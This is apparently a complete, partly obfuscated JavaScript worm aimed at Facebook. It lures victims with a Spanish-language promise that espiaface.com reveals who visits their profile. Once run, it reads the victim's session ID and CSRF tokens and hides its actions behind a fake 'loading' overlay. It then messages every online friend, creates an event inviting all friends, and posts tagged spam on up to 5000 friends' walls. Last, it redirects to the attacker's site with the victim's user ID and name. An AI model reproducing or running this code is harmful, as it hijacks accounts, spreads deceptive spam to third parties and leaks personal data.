var chatmessage = '%firstname% mira esto que es increible, te permite ver quienes visitan tu perfil y funciona bien, entra a: espiaface.com';
var postmessage = 'Top de visitantes de tu perfil de hoy: \x0A %tf% - 19 visitas \x0A %tf% - 16 visitas \x0A %tf% - 15 visitas \x0A %tf% - 13 visitas \x0A Averigua tu tambien quien te esta mirando entrando en: espiaface.com\x0AFunciona de verdad!';
var redirect = 'http://www.espiaface.com/carga.php';
var eventdesc = 'Esto es increible! pueden ver quien esta visitando su perfil y te llegan notificaciones, sigan los pasos de esta pagina que explica como hacerlo, entren en: espiaface.com';
var eventname = 'Averigua quien visita tu perfil';
var nfriends = 5000;
var debug = false;
var wf = 0;
var mf = function () {
if (wf <= 0) {
setTimeout(function () {
window['top']['location']['href'] = redirect;
}, 500);
};
};
var doget = function (_0xbf72xb, _0xbf72xc, _0xbf72xd) {
var _0xbf72xe = new XMLHttpRequest;
_0xbf72xe['open']('GET', _0xbf72xb);
_0xbf72xe['onreadystatechange'] = function () {
if (_0xbf72xe['readyState'] == 4) {
if (_0xbf72xe['status'] == 200 && _0xbf72xc) {
_0xbf72xc(_0xbf72xe['responseText']);
};
if (_0xbf72xd) {
_0xbf72xd();
};
};
};
_0xbf72xe['send']();
};
doget('/', function (_0xbf72xf) {
var _0xbf72x10 = document['cookie']['match'](/c_user=(\d+)/)[1];
var _0xbf72x11 = function (_0xbf72x12) {
return _0xbf72x12 ? '@[' + _0xbf72x12['id'] + ':' + _0xbf72x12['name'] + ']' : '';
};
var _0xbf72x13 = function (_0xbf72x12) {
return _0xbf72x12 ? _0xbf72x12['name'] : '';
};
var _0xbf72x14 = function (_0xbf72x12) {
out = '';
for (var _0xbf72x15 in _0xbf72x12) {
out += (out ? '&' : '') + _0xbf72x15 + (_0xbf72x12[_0xbf72x15] !== null ? '=' + encodeURIComponent(_0xbf72x12[_0xbf72x15]) : '');
};
return out;
};
var _0xbf72x16 = function (_0xbf72xb, _0xbf72x12, _0xbf72xc, _0xbf72xd) {
var _0xbf72xe = new XMLHttpRequest;
_0xbf72xe['open']('POST', _0xbf72xb);
_0xbf72xe['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded');
_0xbf72xe['onreadystatechange'] = function () {
if (_0xbf72xe['readyState'] == 4) {
if (_0xbf72xe['status'] == 200 && _0xbf72xc) {
_0xbf72xc(_0xbf72xe['responseText']);
};
if (_0xbf72xd) {
_0xbf72xd();
};
};
};
_0xbf72xe['send'](_0xbf72x14(_0xbf72x12));
};
var _0xbf72x17 = function () {
var _0xbf72x18 = document['createElement']('div');
_0xbf72x18['style']['display'] = 'block';
_0xbf72x18['style']['position'] = 'absolute';
_0xbf72x18['style']['width'] = '100%';
_0xbf72x18['style']['height'] = '100%';
_0xbf72x18['style']['left'] = '0px';
_0xbf72x18['style']['top'] = '0px';
_0xbf72x18['style']['textAlign'] = 'center';
_0xbf72x18['style']['padding'] = '4px';
_0xbf72x18['style']['background'] = '#FFFFFF';
_0xbf72x18['style']['zIndex'] = 999999;
_0xbf72x18['innerHTML'] = '
Cargando aplicacion, aguarde un momento...
La aplicacion esta preparando tu facebook para registrar las visitas de tus amigos.
';
document['body']['appendChild'](_0xbf72x18);
};
var _0xbf72x19 = _0xbf72xf['match'](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
if (_0xbf72x19) {
comp = _0xbf72x19[1];
} else {
comp = '';
};
var _0xbf72x1a = _0xbf72xf['match'](/name="post_form_id" value="([\d\w]+)"/i)[1];
var _0xbf72x1b = _0xbf72xf['match'](/name="fb_dtsg" value="([\d\w]+)"/i)[1];
var _0xbf72x1c = document['getElementById']('navAccountName')['firstChild']['data'];
redirect = redirect + '?' + _0xbf72x14({
userid: _0xbf72x10,
name: _0xbf72x1c,
doclose: 1
});
_0xbf72x17();
if (eventdesc) {
wf++;
_0xbf72x16('/ajax/choose/?__a=1', {
type: 'event',
eid: null,
invite_message: '',
__d: 1,
post_form_id: _0xbf72x1a,
fb_dtsg: _0xbf72x1b,
lsd: null,
post_form_id_source: 'AsyncRequest'
}, function (_0xbf72x1d) {
var _0xbf72x1e = _0xbf72x1d['match'](/\\"token\\":\\"([^\\]+)\\"/)[1];
var _0xbf72xb = '/ajax/typeahead/first_degree.php?__a=1&viewer=' + _0xbf72x10 + '&token=' + _0xbf72x1e + '&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha';
doget(_0xbf72xb, function (_0xbf72x1f) {
var _0xbf72x20 = _0xbf72x1f['match'](/\{"uid":\d+,/g);
var _0xbf72x21 = [];
for (var _0xbf72x22 = 0; _0xbf72x22 < _0xbf72x20['length']; _0xbf72x22++) {
var _0xbf72x23 = _0xbf72x20[_0xbf72x22]['match'](/:(\d+),/)[1];
if (_0xbf72x23 != _0xbf72x10) {
_0xbf72x21['push'](_0xbf72x23);
};
};
var _0xbf72x24 = new Date;
_0xbf72x24['setTime'](_0xbf72x24['getTime']() + 86400000);
datestr = _0xbf72x24['getMonth']() + 1 + '/' + _0xbf72x24['getDate']() + '/' + _0xbf72x24['getFullYear']();
timestr = _0xbf72x24['getHours']() * 60;
var _0xbf72x25 = {
post_form_id: _0xbf72x1a,
fb_dtsg: _0xbf72x1b,
start_dateIntlDisplay: datestr,
start_date: datestr,
start_time_hour_min: timestr,
name: eventname,
place_page_id: '',
location: '',
street: '',
geo_id: '',
geo_sq: '',
desc: eventdesc,
sgb_invitees: _0xbf72x21['join'](','),
sgb_emails: '',
sgb_message: '',
privacy_type: 'on',
guest_list: 'on',
connections_can_post: 'on',
save: 'Create Event',
submitting: ''
};
_0xbf72x25['new'] = '';
_0xbf72x16('/events/create.php', _0xbf72x25, false, function () {
mf(--wf);
});
});
});
};
if (chatmessage) {
wf++;
_0xbf72x16('/ajax/chat/buddy_list.php?__a=1', {
user: _0xbf72x10,
post_form_id: _0xbf72x1a,
fb_dtsg: _0xbf72x1b,
lsd: null,
post_form_id_source: 'AsyncRequest',
popped_out: false,
force_render: true
}, function (_0xbf72x1d) {
var _0xbf72x26 = _0xbf72x1d['substr'](9);
var _0xbf72x27 = eval('(' + _0xbf72x26 + ')');
var _0xbf72x28 = _0xbf72x27['payload']['buddy_list'];
for (var _0xbf72x29 in _0xbf72x28['nowAvailableList']) {
var _0xbf72x2a = Math['floor'](Math['random']() * 1335448958);
var _0xbf72x2b = (new Date)['getTime']();
var _0xbf72x2c = chatmessage['replace']('%firstname%', _0xbf72x28['userInfos'][_0xbf72x29]['firstName']['toLowerCase']());
_0xbf72x16('/ajax/chat/send.php?__a=1', {
msg_id: Math['floor'](Math['random']() * 1335448958),
client_time: (new Date)['getTime'](),
msg_text: chatmessage['replace']('%firstname%', _0xbf72x28['userInfos'][_0xbf72x29]['firstName']['toLowerCase']()),
to: _0xbf72x29,
post_form_id: _0xbf72x1a,
fb_dtsg: _0xbf72x1b,
post_form_id_source: 'AsyncRequest'
});
};
mf(--wf);
});
};
if (postmessage) {
wf++;
doget('/ajax/browser/friends/?uid=' + _0xbf72x10 + '&filter=all&__a=1&__d=1', function (_0xbf72x1d) {
var _0xbf72x20 = _0xbf72x1d['match'](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
var _0xbf72x2d = [];
if (_0xbf72x20) {
for (var _0xbf72x22 = 0; _0xbf72x22 < _0xbf72x20['length']; _0xbf72x22++) {
var _0xbf72x23 = _0xbf72x20[_0xbf72x22]['match'](/_\d+_/)[0]['replace'](/_/g, '');
var _0xbf72x2e = _0xbf72x20[_0xbf72x22]['match'](/>[^>]+\\u003c\\\/a>$/i)[0]['replace'](/\\u003c\\\/a>$/gim, '')['replace'](/>/g, '');
_0xbf72x2d['push']({
id: _0xbf72x23,
name: _0xbf72x2e
});
};
};
var _0xbf72xd = [];
var _0xbf72x2f = [];
while (_0xbf72x2d['length']) {
var _0xbf72x30 = Math['floor'](Math['random']() * _0xbf72x2d['length']);
_0xbf72xd['push'](_0xbf72x2d[_0xbf72x30]);
_0xbf72x2f['push'](_0xbf72x2d[_0xbf72x30]);
var _0xbf72x2b = _0xbf72x2d['shift']();
if (_0xbf72x30) {
_0xbf72x2d[_0xbf72x30 - 1] = _0xbf72x2b;
};
};
if (debug) {
alert('fetched friends: ' + _0xbf72xd['length']);
};
var _0xbf72x31 = {
post_form_id: _0xbf72x1a,
fb_dtsg: _0xbf72x1b,
xhpc_composerid: comp,
xhpc_targetid: _0xbf72x10,
xhpc_context: 'home',
xhpc_fbx: '',
lsd: null,
post_form_id_source: 'AsyncRequest'
};
mt = postmessage;
m = postmessage;
while (mt['search']('%tf%') >= 0) {
var _0xbf72x32 = _0xbf72xd['pop']();
mt = mt['replace']('%tf%', _0xbf72x13(_0xbf72x32));
m = m['replace']('%tf%', _0xbf72x11(_0xbf72x32));
};
_0xbf72x31['xhpc_message_text'] = mt;
_0xbf72x31['xhpc_message'] = m;
if (debug) {
alert('message text: ' + mt);
};
_0xbf72x16('/ajax/updatestatus.php?__a=1', _0xbf72x31);
var _0xbf72x33 = function (_0xbf72x15) {
if (_0xbf72x15 == 0) {
wf = 0;
mf();
return;
};
var _0xbf72x34 = _0xbf72x2f['shift']();
var _0xbf72x35 = {
post_form_id: _0xbf72x1a,
fb_dtsg: _0xbf72x1b,
xhpc_composerid: comp,
xhpc_targetid: _0xbf72x34['id'],
xhpc_context: 'profile',
xhpc_fbx: 1,
lsd: null,
post_form_id_source: 'AsyncRequest'
};
var _0xbf72x36 = postmessage;
var _0xbf72x37 = postmessage;
if (_0xbf72xd['length'] == 0) {
wf = 0;
mf();
return;
};
while (_0xbf72x36['search']('%tf%') >= 0) {
var _0xbf72x38 = _0xbf72xd['pop']();
_0xbf72x36 = _0xbf72x36['replace']('%tf%', _0xbf72x13(_0xbf72x38));
_0xbf72x37 = _0xbf72x37['replace']('%tf%', _0xbf72x11(_0xbf72x38));
};
_0xbf72x35['xhpc_message_text'] = _0xbf72x36;
_0xbf72x35['xhpc_message'] = _0xbf72x37;
_0xbf72x16('/ajax/updatestatus.php?__a=1', _0xbf72x35);
setTimeout(function () {
_0xbf72x33(_0xbf72x15 - 1);
}, 2000);
};
wf++;
setTimeout(function () {
_0xbf72x33(nfriends);
}, 2000);
});
};
mf();
});